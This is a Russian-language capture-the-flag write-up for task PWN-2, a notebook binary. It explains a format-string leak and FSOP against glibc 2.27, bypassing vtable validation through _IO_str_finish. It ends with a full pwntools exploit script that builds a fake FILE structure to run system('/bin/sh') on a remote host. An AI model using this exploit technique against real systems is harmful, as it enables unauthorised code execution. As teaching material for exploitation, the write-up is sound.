# PWN-2 Оценка: 20 ## Описание В данном задании необходимо проэксплуатировать бинарную уязвимость, связанную с небезопасной работой с файлом. [Файл №1](https://github.com/dered-cybersecurity/nto_2023/blob/main/1-offensive/PWN-2/abe66bce-6536-4a6f-a168-f0a009648f99_notebook.zip) ## Решение Задание представляет собой имитацию записной книжки - мы имеем возможность записывать в нее, читать записанное, либо выйти. Нам видны сразу же две уязвимости. ![](https://i.imgur.com/yJvURPD.jpg) Уязвимость форматной строки в функции вывода содержимого: ```c void printNotebook() { printf("Here's what you wrote.\n"); printf(data); } ``` Вместо действительного вывода в файл программа переписывает указатель на файловую структуру с введенными пользователем данными: ```c printf("I'm not really sure, how to write to a file, I guess that's the correct way...\n"); memcpy(&notebook, data, 0x100); fclose(notebook); return 0; } ``` План эксплуатации: - получить базовые адреса бинарного файла и `libc` с помощью форматной строки; - провести атаку на файловую структуру (данная техника носит название `FSOP`). ### FSOP `FILE *` представляет собой указатель на структуру `_IO_FILE_plus` ```c struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; }; struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_FILE *_chain; int _fileno; int _flags2; _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; //....// }; struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); //...// JUMP_FIELD(_IO_imbue_t, __imbue); }; ``` По сути своей это структура, полностью описывающая файловый поток, и таблица функций, она же `vtable`. `Vtable` - очень важная структура, так как содержит в себе указатели на функции, использующиеся "под капотом" многих других. Так, например, функция `fclose()` в своей реализации вызывает поле `__finish` `vtable`-а файловой структуры. ```c #define _IO_FINISH(FP) JUMP1 (__finish, FP, 0) int _IO_new_fclose (_IO_FILE *fp) { int status; //....// _IO_FINISH (fp); if (fp->_mode > 0) //....// } ``` Таким образом, если мы можем контролировать указатель на файловую структуру, мы в состоянии создать поддельную файловую структуру, поле `__finish` `vtable`-а которой указывает на интересующую для вызова функцию. ### BUT К сожалению, мы не в состоянии сразу указать поле `__finish` на условный `one-gadget`, поскольку начиная с `glibc-2.27` была введена проверка того, что все указатели `vtable`-а структуры `_IO_FILE_plus` лежат в строго отведенной под это области `glibc`. ```c static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; } ``` К счастью для нас, в `glibc-2.27` в этой области, отведенной под `vtable`-ы, существует функция `_IO_str_finish` ```c oid _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); } ``` Мы сразу же замечаем, что тут происходит преобразование нашей файловой структуры к типу `_IO_strfile`, а затем поле преобразованной структуры используется в качестве указателя на функцию, аргументом которй подается поле `_IO_buf_base`. Итак, финальный план выглядит следующим образом: - Создать файловую структуру, по оффсету `0xe8` (где должен находиться указатель на функцию), от которой мы положим адрес функции `system`; - В поле `_IO_buf_base` нашей структуры мы положим указатель на строку `/bin/sh`; - Переписать `_vtable` таким образом, чтобы в поле `__finish` лежал указатель на `_IO_str_finish`; ### Payload ```py import pwn from os import getenv binary = pwn.ELF("./../chall/notebook", checksec=False) ld = pwn.ELF("./../chall/ld-2.27.so", checksec=False) libc = pwn.ELF("./../chall/libc-2.27.so", checksec=False) LIBC_OFFSET = 0x3b07e3 io = pwn.remote(getenv("IP"), int(getenv("PORT"))) def pad(payload, size): return payload + b'\x00' * (size - len(payload)) def postThread(payload): io.sendline(b'1') io.sendlineafter(b'> ', payload) io.recvuntil(b'> ') def readThread(): io.sendline(b'2') io.recvuntil(b'> ') io.recvline() return io.recvline(b'> ') def Exit(): io.sendline(b'3') io.interactive() # send payload for leak leakPayload = b'%p|' * 30 postThread(leakPayload) # leak libc base libc_leak = readThread().split(b'|')[0] libc_leak = int(libc_leak.decode(), 16) libc.address = libc_leak - LIBC_OFFSET pwn.log.success(f"LIBC_BASE: {hex(libc.address)}") print(hex(libc.symbols['_IO_str_jumps'] - libc.address)) print(hex(libc.symbols['system'] - libc.address)) print(hex(next(libc.search(b'/bin/sh')) - libc.address)) # craft fake _IO_FILE_plus structure fakeFile = b'' fakeFile = pad(fakeFile, 0x38) fakeFile += pwn.p64(next(libc.search(b'/bin/sh'))) # _IO_buf_base fakeFile = pad(fakeFile, 0x88) fakeFile += pwn.p64(0x404070) # _lock fakeFile = pad(fakeFile, 0xd8) fakeFile += pwn.p64(libc.symbols['_IO_str_jumps']) # _vtable fakeFile = pad(fakeFile, 0xe8) fakeFile += pwn.p64(libc.symbols['system']) payload = pwn.p64(binary.symbols['notebook'] + 8) payload += fakeFile postThread(payload) io.interactive() #Exit() ```